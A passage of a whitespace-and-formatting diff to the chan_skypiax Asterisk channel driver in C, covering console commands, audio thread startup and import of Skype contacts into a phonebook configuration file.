- "capture_boost on the active skypiax_console, that is [%s], is now: %5.1f\n",
- skypiax_console_active,
- 20 * log10(((double) p->capture_boost / (double) BOOST_SCALE)));
- }
+ ast_cli(fd,
+ "capture_boost on the active skypiax_console, that is [%s], is now: %5.1f\n",
+ skypiax_console_active, 20 * log10(((double) p->capture_boost / (double) BOOST_SCALE)));
+ }
- return RESULT_SUCCESS;
+ return RESULT_SUCCESS;
}
int skypiax_console_hangup(int fd, int argc, char *argv[])
{
- struct skypiax_pvt *p = skypiax_console_find_desc(skypiax_console_active);
+ struct skypiax_pvt *p = skypiax_console_find_desc(skypiax_console_active);
- if (argc != 1) {
- return RESULT_SHOWUSAGE;
- }
- if (!p) {
- ast_cli(fd,
- "No \"current\" skypiax_console for hanging up, please enter 'help skypiax_console'\n");
- return RESULT_SUCCESS;
- }
- if (!p->owner) {
- ast_cli(fd, "No call to hangup on the active skypiax_console, that is [%s]\n",
- skypiax_console_active);
- return RESULT_FAILURE;
- }
- if (p->owner)
- ast_queue_hangup(p->owner);
- return RESULT_SUCCESS;
+ if (argc != 1) {
+ return RESULT_SHOWUSAGE;
+ }
+ if (!p) {
+ ast_cli(fd, "No \"current\" skypiax_console for hanging up, please enter 'help skypiax_console'\n");
+ return RESULT_SUCCESS;
+ }
+ if (!p->owner) {
+ ast_cli(fd, "No call to hangup on the active skypiax_console, that is [%s]\n", skypiax_console_active);
+ return RESULT_FAILURE;
+ }
+ if (p->owner)
+ ast_queue_hangup(p->owner);
+ return RESULT_SUCCESS;
}
int skypiax_console_dial(int fd, int argc, char *argv[])
{
- char *s = NULL;
- struct skypiax_pvt *p = skypiax_console_find_desc(skypiax_console_active);
+ char *s = NULL;
+ struct skypiax_pvt *p = skypiax_console_find_desc(skypiax_console_active);
- if (argc != 2) {
- return RESULT_SHOWUSAGE;
- }
- if (!p) {
- ast_cli(fd,
- "No \"current\" skypiax_console for dialing, please enter 'help skypiax_console'\n");
- return RESULT_SUCCESS;
- }
+ if (argc != 2) {
+ return RESULT_SHOWUSAGE;
+ }
+ if (!p) {
+ ast_cli(fd, "No \"current\" skypiax_console for dialing, please enter 'help skypiax_console'\n");
+ return RESULT_SUCCESS;
+ }
- if (p->owner) { /* already in a call */
- int i;
- struct ast_frame f = { AST_FRAME_DTMF, 0 };
+ if (p->owner) { /* already in a call */
+ int i;
+ struct ast_frame f = { AST_FRAME_DTMF, 0 };
- s = argv[1];
- /* send the string one char at a time */
- for (i = 0; i < strlen(s); i++) {
- f.subclass = s[i];
- ast_queue_frame(p->owner, &f);
- }
- return RESULT_SUCCESS;
- } else
- ast_cli(fd,
- "No call in which to dial on the \"current\" skypiax_console, that is [%s]\n",
- skypiax_console_active);
- if (s)
- free(s);
- return RESULT_SUCCESS;
+ s = argv[1];
+ /* send the string one char at a time */
+ for (i = 0; i < strlen(s); i++) {
+ f.subclass = s[i];
+ ast_queue_frame(p->owner, &f);
+ }
+ return RESULT_SUCCESS;
+ } else
+ ast_cli(fd, "No call in which to dial on the \"current\" skypiax_console, that is [%s]\n", skypiax_console_active);
+ if (s)
+ free(s);
+ return RESULT_SUCCESS;
}
int skypiax_console_set_active(int fd, int argc, char *argv[])
{
- if (argc == 1)
- ast_cli(fd,
- "\"current\" skypiax_console is [%s]\n Enter 'skypiax_console show' to see the available interfaces.\n Enter 'skypiax_console interfacename' to change the \"current\" skypiax_console.\n",
- skypiax_console_active);
- else if (argc != 2) {
- return RESULT_SHOWUSAGE;
- } else {
- struct skypiax_pvt *p;
- if (strcmp(argv[1], "show") == 0) {
- ast_cli(fd, "Available interfaces:\n");
- for (p = skypiax_iflist; p; p = p->next)
- ast_cli(fd, " [%s]\n", p->name);
- return RESULT_SUCCESS;
- }
- p = skypiax_console_find_desc(argv[1]);
- if (p == NULL)
- ast_cli(fd, "Interface [%s] do not exists!\n", argv[1]);
- else {
- skypiax_console_active = p->name;
- ast_cli(fd, "\"current\" skypiax_console is now: [%s]\n", argv[1]);
- }
- }
- return RESULT_SUCCESS;
+ if (argc == 1)
+ ast_cli(fd,
+ "\"current\" skypiax_console is [%s]\n Enter 'skypiax_console show' to see the available interfaces.\n Enter 'skypiax_console interfacename' to change the \"current\" skypiax_console.\n",
+ skypiax_console_active);
+ else if (argc != 2) {
+ return RESULT_SHOWUSAGE;
+ } else {
+ struct skypiax_pvt *p;
+ if (strcmp(argv[1], "show") == 0) {
+ ast_cli(fd, "Available interfaces:\n");
+ for (p = skypiax_iflist; p; p = p->next)
+ ast_cli(fd, " [%s]\n", p->name);
+ return RESULT_SUCCESS;
+ }
+ p = skypiax_console_find_desc(argv[1]);
+ if (p == NULL)
+ ast_cli(fd, "Interface [%s] do not exists!\n", argv[1]);
+ else {
+ skypiax_console_active = p->name;
+ ast_cli(fd, "\"current\" skypiax_console is now: [%s]\n", argv[1]);
+ }
+ }
+ return RESULT_SUCCESS;
}
int skypiax_console_skypiax(int fd, int argc, char *argv[])
{
- return RESULT_SHOWUSAGE;
+ return RESULT_SHOWUSAGE;
}
void *do_skypeapi_thread(void *obj)
{
- return skypiax_do_skypeapi_thread_func(obj);
+ return skypiax_do_skypeapi_thread_func(obj);
}
int dtmf_received(private_t * p, char *value)
{
- struct ast_frame f2 = { AST_FRAME_DTMF, value[0], };
- DEBUGA_SKYPE("Received DTMF: %s\n", SKYPIAX_P_LOG, value);
- ast_queue_frame(p->owner, &f2);
+ struct ast_frame f2 = { AST_FRAME_DTMF, value[0], };
+ DEBUGA_SKYPE("Received DTMF: %s\n", SKYPIAX_P_LOG, value);
+ ast_queue_frame(p->owner, &f2);
- return 0;
+ return 0;
}
int start_audio_threads(private_t * p)
{
- //if (!p->tcp_srv_thread) {
- if (ast_pthread_create(&p->tcp_srv_thread, NULL, skypiax_do_tcp_srv_thread, p) < 0) {
- ERRORA("Unable to start tcp_srv_thread thread.\n", SKYPIAX_P_LOG);
- return -1;
- } else {
- DEBUGA_SKYPE("started tcp_srv_thread thread.\n", SKYPIAX_P_LOG);
- }
- //}
- //if (!p->tcp_cli_thread) {
- if (ast_pthread_create(&p->tcp_cli_thread, NULL, skypiax_do_tcp_cli_thread, p) < 0) {
- ERRORA("Unable to start tcp_cli_thread thread.\n", SKYPIAX_P_LOG);
- return -1;
- } else {
- DEBUGA_SKYPE("started tcp_cli_thread thread.\n", SKYPIAX_P_LOG);
- }
- //}
+ //if (!p->tcp_srv_thread) {
+ if (ast_pthread_create(&p->tcp_srv_thread, NULL, skypiax_do_tcp_srv_thread, p) < 0) {
+ ERRORA("Unable to start tcp_srv_thread thread.\n", SKYPIAX_P_LOG);
+ return -1;
+ } else {
+ DEBUGA_SKYPE("started tcp_srv_thread thread.\n", SKYPIAX_P_LOG);
+ }
+ //}
+ //if (!p->tcp_cli_thread) {
+ if (ast_pthread_create(&p->tcp_cli_thread, NULL, skypiax_do_tcp_cli_thread, p) < 0) {
+ ERRORA("Unable to start tcp_cli_thread thread.\n", SKYPIAX_P_LOG);
+ return -1;
+ } else {
+ DEBUGA_SKYPE("started tcp_cli_thread thread.\n", SKYPIAX_P_LOG);
+ }
+ //}
#ifdef NOTDEF
- switch_threadattr_t *thd_attr = NULL;
+ switch_threadattr_t *thd_attr = NULL;
- switch_threadattr_create(&thd_attr, skypiax_module_pool);
- switch_threadattr_detach_set(thd_attr, 1);
- switch_threadattr_stacksize_set(thd_attr, SWITCH_THREAD_STACKSIZE);
- switch_thread_create(&tech_pvt->tcp_srv_thread, thd_attr, skypiax_do_tcp_srv_thread,
- tech_pvt, skypiax_module_pool);
- DEBUGA_SKYPE("started tcp_srv_thread thread.\n", SKYPIAX_P_LOG);
+ switch_threadattr_create(&thd_attr, skypiax_module_pool);
+ switch_threadattr_detach_set(thd_attr, 1);
+ switch_threadattr_stacksize_set(thd_attr, SWITCH_THREAD_STACKSIZE);
+ switch_thread_create(&tech_pvt->tcp_srv_thread, thd_attr, skypiax_do_tcp_srv_thread, tech_pvt, skypiax_module_pool);
+ DEBUGA_SKYPE("started tcp_srv_thread thread.\n", SKYPIAX_P_LOG);
- switch_threadattr_create(&thd_attr, skypiax_module_pool);
- switch_threadattr_detach_set(thd_attr, 1);
- switch_threadattr_stacksize_set(thd_attr, SWITCH_THREAD_STACKSIZE);
- switch_thread_create(&tech_pvt->tcp_cli_thread, thd_attr, skypiax_do_tcp_cli_thread,
- tech_pvt, skypiax_module_pool);
- DEBUGA_SKYPE("started tcp_cli_thread thread.\n", SKYPIAX_P_LOG);
- switch_sleep(100000);
+ switch_threadattr_create(&thd_attr, skypiax_module_pool);
+ switch_threadattr_detach_set(thd_attr, 1);
+ switch_threadattr_stacksize_set(thd_attr, SWITCH_THREAD_STACKSIZE);
+ switch_thread_create(&tech_pvt->tcp_cli_thread, thd_attr, skypiax_do_tcp_cli_thread, tech_pvt, skypiax_module_pool);
+ DEBUGA_SKYPE("started tcp_cli_thread thread.\n", SKYPIAX_P_LOG);
+ switch_sleep(100000);
#endif
- return 0;
+ return 0;
}
int new_inbound_channel(private_t * p)
{
#ifdef NOTDEF
- switch_core_session_t *session = NULL;
- switch_channel_t *channel = NULL;
+ switch_core_session_t *session = NULL;
+ switch_channel_t *channel = NULL;
- if ((session =
- switch_core_session_request(skypiax_endpoint_interface,
- SWITCH_CALL_DIRECTION_INBOUND, NULL)) != 0) {
- switch_core_session_add_stream(session, NULL);
- channel = switch_core_session_get_channel(session);
- skypiax_tech_init(tech_pvt, session);
+ if ((session = switch_core_session_request(skypiax_endpoint_interface, SWITCH_CALL_DIRECTION_INBOUND, NULL)) != 0) {
+ switch_core_session_add_stream(session, NULL);
+ channel = switch_core_session_get_channel(session);
+ skypiax_tech_init(tech_pvt, session);
- if ((tech_pvt->caller_profile =
- switch_caller_profile_new(switch_core_session_get_pool(session), "skypiax",
- tech_pvt->dialplan, tech_pvt->callid_name,
- tech_pvt->callid_number, NULL, NULL, NULL, NULL,
- "mod_skypiax", tech_pvt->context,
- tech_pvt->destination)) != 0) {
- char name[128];
- //switch_snprintf(name, sizeof(name), "skypiax/%s/%s", tech_pvt->name, tech_pvt->caller_profile->destination_number);
- switch_snprintf(name, sizeof(name), "skypiax/%s", tech_pvt->name);
- switch_channel_set_name(channel, name);
- switch_channel_set_caller_profile(channel, tech_pvt->caller_profile);
- }
- switch_channel_set_state(channel, CS_INIT);
- if (switch_core_session_thread_launch(session) != SWITCH_STATUS_SUCCESS) {
- ERRORA("Error spawning thread\n", SKYPIAX_P_LOG);
- switch_core_session_destroy(&session);
- }
- }
- switch_channel_mark_answered(channel);
+ if ((tech_pvt->caller_profile =
+ switch_caller_profile_new(switch_core_session_get_pool(session), "skypiax",
+ tech_pvt->dialplan, tech_pvt->callid_name,
+ tech_pvt->callid_number, NULL, NULL, NULL, NULL, "mod_skypiax", tech_pvt->context, tech_pvt->destination)) != 0) {
+ char name[128];
+ //switch_snprintf(name, sizeof(name), "skypiax/%s/%s", tech_pvt->name, tech_pvt->caller_profile->destination_number);
+ switch_snprintf(name, sizeof(name), "skypiax/%s", tech_pvt->name);
+ switch_channel_set_name(channel, name);
+ switch_channel_set_caller_profile(channel, tech_pvt->caller_profile);
+ }
+ switch_channel_set_state(channel, CS_INIT);
+ if (switch_core_session_thread_launch(session) != SWITCH_STATUS_SUCCESS) {
+ ERRORA("Error spawning thread\n", SKYPIAX_P_LOG);
+ switch_core_session_destroy(&session);
+ }
+ }
+ switch_channel_mark_answered(channel);
#endif
- return 0;
+ return 0;
}
int remote_party_is_ringing(private_t * p)
{
- if (p->owner) {
- ast_queue_control(p->owner, AST_CONTROL_RINGING);
- }
+ if (p->owner) {
+ ast_queue_control(p->owner, AST_CONTROL_RINGING);
+ }
- return 0;
+ return 0;
}
int remote_party_is_early_media(private_t * p)
{
- if (p->owner) {
- ast_queue_control(p->owner, AST_CONTROL_RINGING);
- }
+ if (p->owner) {
+ ast_queue_control(p->owner, AST_CONTROL_RINGING);
+ }
- return 0;
+ return 0;
}
int outbound_channel_answered(private_t * p)
{
- if (p->owner) {
- ast_queue_control(p->owner, AST_CONTROL_ANSWER);
- }
+ if (p->owner) {
+ ast_queue_control(p->owner, AST_CONTROL_ANSWER);
+ }
- return 0;
+ return 0;
}
void *skypiax_do_tcp_srv_thread(void *obj)
{
- return skypiax_do_tcp_srv_thread_func(obj);
+ return skypiax_do_tcp_srv_thread_func(obj);
}
void *skypiax_do_tcp_cli_thread(void *obj)
{
- return skypiax_do_tcp_cli_thread_func(obj);
+ return skypiax_do_tcp_cli_thread_func(obj);
}
int skypiax_audio_write(struct skypiax_pvt *p, struct ast_frame *f)
{
- int sent;
+ int sent;
- sent = write(p->audioskypepipe[1], (short *) f->data, f->datalen);
+ sent = write(p->audioskypepipe[1], (short *) f->data, f->datalen);
- return 0;
+ return 0;
}
int skypiax_console_skype(int fd, int argc, char *argv[])
{
- struct skypiax_pvt *p = skypiax_console_find_desc(skypiax_console_active);
- char skype_msg[1024];
- int i, a, c;
+ struct skypiax_pvt *p = skypiax_console_find_desc(skypiax_console_active);
+ char skype_msg[1024];
+ int i, a, c;
- if (argc == 1) {
- return RESULT_SHOWUSAGE;
- }
- if (!p) {
- ast_cli(fd, "No \"current\" console for skypiax_, please enter 'help console'\n");
- return RESULT_SUCCESS;
- }
- if (!p->skype) {
- ast_cli(fd, "The \"current\" console is not connected to a Skype client'\n");
- return RESULT_SUCCESS;
- }
+ if (argc == 1) {
+ return RESULT_SHOWUSAGE;
+ }
+ if (!p) {
+ ast_cli(fd, "No \"current\" console for skypiax_, please enter 'help console'\n");
+ return RESULT_SUCCESS;
+ }
+ if (!p->skype) {
+ ast_cli(fd, "The \"current\" console is not connected to a Skype client'\n");
+ return RESULT_SUCCESS;
+ }
- memset(skype_msg, 0, sizeof(skype_msg));
- c = 0;
- for (i = 1; i < argc; i++) {
- for (a = 0; a < strlen(argv[i]); a++) {
- skype_msg[c] = argv[i][a];
- c++;
- if (c == 1022)
- break;
- }
- if (i != argc - 1) {
- skype_msg[c] = ' ';
- c++;
- }
- if (c == 1023)
- break;
- }
- skypiax_signaling_write(p, skype_msg);
- return RESULT_SUCCESS;
+ memset(skype_msg, 0, sizeof(skype_msg));
+ c = 0;
+ for (i = 1; i < argc; i++) {
+ for (a = 0; a < strlen(argv[i]); a++) {
+ skype_msg[c] = argv[i][a];
+ c++;
+ if (c == 1022)
+ break;
+ }
+ if (i != argc - 1) {
+ skype_msg[c] = ' ';
+ c++;
+ }
+ if (c == 1023)
+ break;
+ }
+ skypiax_signaling_write(p, skype_msg);
+ return RESULT_SUCCESS;
}
int skypiax_console_skypiax_dir_import(int fd, int argc, char *argv[])
{
- //int res;
- struct skypiax_pvt *p = skypiax_console_find_desc(skypiax_console_active);
- //char list_command[64];
- char fn[256];
- char date[256] = "";
- time_t t;
- char *configfile = SKYPIAX_DIR_CONFIG;
- int add_to_skypiax_dir_conf = 1;
- //int fromskype = 0;
- //int fromcell = 0;
+ //int res;
+ struct skypiax_pvt *p = skypiax_console_find_desc(skypiax_console_active);
+ //char list_command[64];
+ char fn[256];
+ char date[256] = "";
+ time_t t;
+ char *configfile = SKYPIAX_DIR_CONFIG;
+ int add_to_skypiax_dir_conf = 1;
+ //int fromskype = 0;
+ //int fromcell = 0;
#if 0
- if (directoriax_entry_extension) {
- skypiax_dir_entry_extension = directoriax_entry_extension;
- } else {
- ast_cli(fd,
- "No 'directoriax_entry_extension', you MUST have loaded directoriax.so\n");
- return RESULT_SUCCESS;
- }
+ if (directoriax_entry_extension) {
+ skypiax_dir_entry_extension = directoriax_entry_extension;
+ } else {
+ ast_cli(fd, "No 'directoriax_entry_extension', you MUST have loaded directoriax.so\n");
+ return RESULT_SUCCESS;
+ }
#endif
- if (argc != 2)
- return RESULT_SHOWUSAGE;
- if (!p) {
- ast_cli(fd, "No \"current\" console ???, please enter 'help skypiax_console'\n");
- return RESULT_SUCCESS;
- }
+ if (argc != 2)
+ return RESULT_SHOWUSAGE;
+ if (!p) {
+ ast_cli(fd, "No \"current\" console ???, please enter 'help skypiax_console'\n");
+ return RESULT_SUCCESS;
+ }
- if (!strcasecmp(argv[1], "add"))
- add_to_skypiax_dir_conf = 1;
- else if (!strcasecmp(argv[1], "replace"))
- add_to_skypiax_dir_conf = 0;
- else {
- ast_cli(fd, "\n\nYou have neither specified 'add' nor 'replace'\n\n");
- return RESULT_SHOWUSAGE;
- }
+ if (!strcasecmp(argv[1], "add"))
+ add_to_skypiax_dir_conf = 1;
+ else if (!strcasecmp(argv[1], "replace"))
+ add_to_skypiax_dir_conf = 0;
+ else {
+ ast_cli(fd, "\n\nYou have neither specified 'add' nor 'replace'\n\n");
+ return RESULT_SHOWUSAGE;
+ }
#if 0
- if (!strcasecmp(argv[2], "fromskype"))
- fromskype = 1;
- else if (!strcasecmp(argv[2], "fromcell"))
- fromcell = 1;
- else {
- ast_cli(fd, "\n\nYou have neither specified 'fromskype' nor 'fromcell'\n\n");
- return RESULT_SHOWUSAGE;
- }
+ if (!strcasecmp(argv[2], "fromskype"))
+ fromskype = 1;
+ else if (!strcasecmp(argv[2], "fromcell"))
+ fromcell = 1;
+ else {
+ ast_cli(fd, "\n\nYou have neither specified 'fromskype' nor 'fromcell'\n\n");
+ return RESULT_SHOWUSAGE;
+ }
- if (fromcell) {
- ast_cli(fd,
- "Importing from cellphone is currently supported only on \"AT\" cellphones :( !\n");
- //fclose(p->phonebook_writing_fp);
- //skypiax_dir_create_extensions();
- return RESULT_SUCCESS;
- }
+ if (fromcell) {
+ ast_cli(fd, "Importing from cellphone is currently supported only on \"AT\" cellphones :( !\n");
+ //fclose(p->phonebook_writing_fp);
+ //skypiax_dir_create_extensions();
+ return RESULT_SUCCESS;
+ }
- if (fromskype)
- if (!p->skype) {
- ast_cli(fd, "Importing from skype is supported by skypiax_dir on chan_skypiax!\n");
- //fclose(p->phonebook_writing_fp);
- //skypiax_dir_create_extensions();
- return RESULT_SUCCESS;
- }
+ if (fromskype)
+ if (!p->skype) {
+ ast_cli(fd, "Importing from skype is supported by skypiax_dir on chan_skypiax!\n");
+ //fclose(p->phonebook_writing_fp);
+ //skypiax_dir_create_extensions();
+ return RESULT_SUCCESS;
+ }
- if (fromcell || fromskype)
- if (argc != 3) {
- ast_cli(fd,
- "\n\nYou don't have to specify a filename with 'fromcell' or with 'fromskype'\n\n");
- return RESULT_SHOWUSAGE;
- }
+ if (fromcell || fromskype)
+ if (argc != 3) {
+ ast_cli(fd, "\n\nYou don't have to specify a filename with 'fromcell' or with 'fromskype'\n\n");
+ return RESULT_SHOWUSAGE;
+ }
#endif
/*******************************************************************************************/
- if (configfile[0] == '/') {
- ast_copy_string(fn, configfile, sizeof(fn));
- } else {
- snprintf(fn, sizeof(fn), "%s/%s", ast_config_AST_CONFIG_DIR, configfile);
- }
- NOTICA("Opening '%s'\n", SKYPIAX_P_LOG, fn);
- time(&t);
- ast_copy_string(date, ctime(&t), sizeof(date));
+ if (configfile[0] == '/') {
+ ast_copy_string(fn, configfile, sizeof(fn));
+ } else {
+ snprintf(fn, sizeof(fn), "%s/%s", ast_config_AST_CONFIG_DIR, configfile);
+ }
+ NOTICA("Opening '%s'\n", SKYPIAX_P_LOG, fn);
+ time(&t);
+ ast_copy_string(date, ctime(&t), sizeof(date));
- if (add_to_skypiax_dir_conf)
- p->phonebook_writing_fp = fopen(fn, "a+");
- else
- p->phonebook_writing_fp = fopen(fn, "w+");
+ if (add_to_skypiax_dir_conf)
+ p->phonebook_writing_fp = fopen(fn, "a+");
+ else
+ p->phonebook_writing_fp = fopen(fn, "w+");
- if (p->phonebook_writing_fp) {
- if (add_to_skypiax_dir_conf) {
- NOTICA("Opened '%s' for appending \n", SKYPIAX_P_LOG, fn);
- fprintf(p->phonebook_writing_fp, ";!\n");
- fprintf(p->phonebook_writing_fp, ";! Update Date: %s", date);
- fprintf(p->phonebook_writing_fp, ";! Updated by: %s, %d\n", __FILE__, __LINE__);
- fprintf(p->phonebook_writing_fp, ";!\n");
- } else {
- NOTICA("Opened '%s' for writing \n", SKYPIAX_P_LOG, fn);
- fprintf(p->phonebook_writing_fp, ";!\n");
- fprintf(p->phonebook_writing_fp, ";! Automatically generated configuration file\n");
- fprintf(p->phonebook_writing_fp, ";! Filename: %s (%s)\n", configfile, fn);
- fprintf(p->phonebook_writing_fp, ";! Creation Date: %s", date);
- fprintf(p->phonebook_writing_fp, ";! Generated by: %s, %d\n", __FILE__, __LINE__);
- fprintf(p->phonebook_writing_fp, ";!\n");
- fprintf(p->phonebook_writing_fp, "[general]\n\n");
- fprintf(p->phonebook_writing_fp, "[default]\n");
- }
+ if (p->phonebook_writing_fp) {
+ if (add_to_skypiax_dir_conf) {
+ NOTICA("Opened '%s' for appending \n", SKYPIAX_P_LOG, fn);
+ fprintf(p->phonebook_writing_fp, ";!\n");
+ fprintf(p->phonebook_writing_fp, ";! Update Date: %s", date);
+ fprintf(p->phonebook_writing_fp, ";! Updated by: %s, %d\n", __FILE__, __LINE__);
+ fprintf(p->phonebook_writing_fp, ";!\n");
+ } else {
+ NOTICA("Opened '%s' for writing \n", SKYPIAX_P_LOG, fn);
+ fprintf(p->phonebook_writing_fp, ";!\n");
+ fprintf(p->phonebook_writing_fp, ";! Automatically generated configuration file\n");
+ fprintf(p->phonebook_writing_fp, ";! Filename: %s (%s)\n", configfile, fn);
+ fprintf(p->phonebook_writing_fp, ";! Creation Date: %s", date);
+ fprintf(p->phonebook_writing_fp, ";! Generated by: %s, %d\n", __FILE__, __LINE__);
+ fprintf(p->phonebook_writing_fp, ";!\n");
+ fprintf(p->phonebook_writing_fp, "[general]\n\n");
+ fprintf(p->phonebook_writing_fp, "[default]\n");
+ }
/*******************************************************************************************/
- //if (fromskype) {
- if (p->skype) {
- WARNINGA
- ("About to querying the Skype client 'Contacts', it may take some moments... Don't worry.\n",
- SKYPIAX_P_LOG);
- if (p->skype_thread != AST_PTHREADT_NULL) {
- char msg_to_skype[1024];
+ //if (fromskype) {
+ if (p->skype) {
+ WARNINGA("About to querying the Skype client 'Contacts', it may take some moments... Don't worry.\n", SKYPIAX_P_LOG);
+ if (p->skype_thread != AST_PTHREADT_NULL) {
+ char msg_to_skype[1024];
- p->skype_friends[0] = '\0';
- sprintf(msg_to_skype, "#333 SEARCH FRIENDS");
- if (skypiax_signaling_write(p, msg_to_skype) < 0) {
- return -1;
- }
+ p->skype_friends[0] = '\0';
+ sprintf(msg_to_skype, "#333 SEARCH FRIENDS");
+ if (skypiax_signaling_write(p, msg_to_skype) < 0) {
+ return -1;
+ }
- int friends_count = 0;
- while (p->skype_friends[0] == '\0') {
- /* FIXME needs a timeout, can't wait forever!
- * eg. when skype is running but not connected! */
- usleep(100);
- friends_count++;
- if (friends_count > 20000) {
- return -1; /* FIXME */
- }
- }
+ int friends_count = 0;
+ while (p->skype_friends[0] == '\0') {
+ /* FIXME needs a timeout, can't wait forever!
+ * eg. when skype is running but not connected! */
+ usleep(100);
+ friends_count++;
+ if (friends_count > 20000) {
+ return -1; /* FIXME */
+ }
+ }
- }
+ }
- if (p->skype_thread != AST_PTHREADT_NULL) {
- char msg_to_skype[1024];
+ if (p->skype_thread != AST_PTHREADT_NULL) {
+ char msg_to_skype[1024];
- if (p->skype_friends[0] != '\0') {
- char *buf, *where;
- char **stringp;
- int skype_dir_file_written = 0;
+ if (p->skype_friends[0] != '\0') {
+ char *buf, *where;
+ char **stringp;
+ int skype_dir_file_written = 0;
- buf = p->skype_friends;
- stringp = &buf;
- where = strsep(stringp, ", ");
- while (where) {
- if (where[0] != '\0') {
- /*
- * So, we have the Skype username (the HANDLE, I think is called).
- * But we want to call the names we see in the Skype contact list
- * So, let's check the DISPLAYNAME (the end user modified contact name)
- * Then, we check the FULLNAME (that appears as it was the DISPLAYNAME
- * if the end user has not modify it)
- * If we still have neither DISPLAYNAME nor FULLNAME, we'll use the
- * Skipe username (the HANDLE)
- */
+ buf = p->skype_friends;
+ stringp = &buf;
+ where = strsep(stringp, ", ");
+ while (where) {
+ if (where[0] != '\0') {
+ /*
+ * So, we have the Skype username (the HANDLE, I think is called).
+ * But we want to call the names we see in the Skype contact list
+ * So, let's check the DISPLAYNAME (the end user modified contact name)
+ * Then, we check the FULLNAME (that appears as it was the DISPLAYNAME
+ * if the end user has not modify it)
+ * If we still have neither DISPLAYNAME nor FULLNAME, we'll use the
+ * Skipe username (the HANDLE)
+ */
- p->skype_displayname[0] = '\0';
- sprintf(msg_to_skype, "#765 GET USER %s DISPLAYNAME", where);
- skypiax_signaling_write(p, msg_to_skype);
- int displayname_count = 0;
- while (p->skype_displayname[0] == '\0') {
- /* FIXME needs a timeout, can't wait forever!
- * eg. when skype is running but not connected! */
- usleep(100);
- displayname_count++;
- if (displayname_count > 20000)
- return -1; /* FIXME */
- }
- if (p->skype_displayname[0] != '\0') {
- char *where2;
- char sanitized[300];
+ p->skype_displayname[0] = '\0';
+ sprintf(msg_to_skype, "#765 GET USER %s DISPLAYNAME", where);
+ skypiax_signaling_write(p, msg_to_skype);
+ int displayname_count = 0;
+ while (p->skype_displayname[0] == '\0') {
+ /* FIXME needs a timeout, can't wait forever!
+ * eg. when skype is running but not connected! */
+ usleep(100);
+ displayname_count++;
+ if (displayname_count > 20000)
+ return -1; /* FIXME */
+ }
+ if (p->skype_displayname[0] != '\0') {
+ char *where2;
+ char sanitized[300];
- sanitized[0] = '\0';
+ sanitized[0] = '\0';
- where2 = strstr(p->skype_displayname, "DISPLAYNAME ");
- if (where2) {
+ where2 = strstr(p->skype_displayname, "DISPLAYNAME ");
+ if (where2) {
- /* there can be some *smart* that makes a displayname
- * that is different than first<space>last, */
- /* maybe initials, simbols, slashes,
- * something smartish... let's check */
+ /* there can be some *smart* that makes a displayname
+ * that is different than first<space>last, */
+ /* maybe initials, simbols, slashes,
+ * something smartish... let's check */
- if (where2[12] != '\0') {
- int i = 12;
- int x = 0;
- int spaces = 0;
- int last_char_was_space = 0;
+ if (where2[12] != '\0') {
+ int i = 12;
+ int x = 0;
+ int spaces = 0;
+ int last_char_was_space = 0;
- for (i = 12; i < strlen(where2) && x < 299; i++) {
- if (!isalnum(where2[i])) {
- if (!isblank(where2[i])) {
- /* bad char */
- continue;
- }
- /* is a space */
- if (last_char_was_space == 1) /* do not write 2 consecutive spaces */
- continue;
- last_char_was_space = 1;
- sanitized[x] = ' ';
- x++;
- continue;
- }
- /* is alphanum */
- last_char_was_space = 0;
- sanitized[x] = where2[i];
- x++;
- continue;
- }
+ for (i = 12; i < strlen(where2) && x < 299; i++) {
+ if (!isalnum(where2[i])) {
+ if (!isblank(where2[i])) {
+ /* bad char */
+ continue;
+ }
+ /* is a space */
+ if (last_char_was_space == 1) /* do not write 2 consecutive spaces */
+ continue;
+ last_char_was_space = 1;
+ sanitized[x] = ' ';
+ x++;
+ continue;
+ }
+ /* is alphanum */
+ last_char_was_space = 0;
+ sanitized[x] = where2[i];
+ x++;
+ continue;
+ }
- sanitized[x] = '\0';
- if (spaces == 0) {
- }
- DEBUGA_SKYPE("sanitized=|%s|, where=|%s|, where2=|%s|\n",
- SKYPIAX_P_LOG, sanitized, where, &where2[12]);
- }
+ sanitized[x] = '\0';
+ if (spaces == 0) {
+ }
+ DEBUGA_SKYPE("sanitized=|%s|, where=|%s|, where2=|%s|\n", SKYPIAX_P_LOG, sanitized, where, &where2[12]);
+ }
- if (where2[12] != '\0') {
- skypiax_dir_entry_extension++;
- if (where[0] == '+' || isdigit(where[0])) { /* is a skypeout number */
- fprintf(p->phonebook_writing_fp,
- "%s => ,%sSKO,,,hidefromdir=%s|phonebook_direct_calling_ext=%d%s%.4d|phonebook_entry_fromskype=%s|phonebook_entry_owner=%s\n",
- where, sanitized, "no",
- p->skypiax_dir_entry_extension_prefix, "2",
- skypiax_dir_entry_extension, "yes", "not_specified");
- } else { /* is a skype name */
- fprintf(p->phonebook_writing_fp,
- "%s => ,%sSKY,,,hidefromdir=%s|phonebook_direct_calling_ext=%d%s%.4d|phonebook_entry_fromskype=%s|phonebook_entry_owner=%s\n",
- where, sanitized, "no",
- p->skypiax_dir_entry_extension_prefix, "1",
- skypiax_dir_entry_extension, "yes", "not_specified");
- }
- skype_dir_file_written = 1;
+ if (where2[12] != '\0') {
+ skypiax_dir_entry_extension++;
+ if (where[0] == '+' || isdigit(where[0])) { /* is a skypeout number */
+ fprintf(p->phonebook_writing_fp,
+ "%s => ,%sSKO,,,hidefromdir=%s|phonebook_direct_calling_ext=%d%s%.4d|phonebook_entry_fromskype=%s|phonebook_entry_owner=%s\n",
+ where, sanitized, "no",
+ p->skypiax_dir_entry_extension_prefix, "2", skypiax_dir_entry_extension, "yes", "not_specified");
+ } else { /* is a skype name */
+ fprintf(p->phonebook_writing_fp,
+ "%s => ,%sSKY,,,hidefromdir=%s|phonebook_direct_calling_ext=%d%s%.4d|phonebook_entry_fromskype=%s|phonebook_entry_owner=%s\n",
+ where, sanitized, "no",
+ p->skypiax_dir_entry_extension_prefix, "1", skypiax_dir_entry_extension, "yes", "not_specified");
+ }
+ skype_dir_file_written = 1;
- }
- }
- }
- p->skype_displayname[0] = '\0';
+ }
+ }
+ }
+ p->skype_displayname[0] = '\0';
- p->skype_fullname[0] = '\0';
- sprintf(msg_to_skype, "#222 GET USER %s FULLNAME", where);
- skypiax_signaling_write(p, msg_to_skype);
- int fullname_count = 0;
- while (p->skype_fullname[0] == '\0') {
- /* FIXME needs a timeout, can't wait forever!
- * eg. when skype is running but not connected! */
- usleep(100);
- fullname_count++;
- if (fullname_count > 20000)
- return -1; /* FIXME */
- }
- if (p->skype_fullname[0] != '\0') {
- char *where2;
- char sanitized[300];
+ p->skype_fullname[0] = '\0';
+ sprintf(msg_to_skype, "#222 GET USER %s FULLNAME", where);
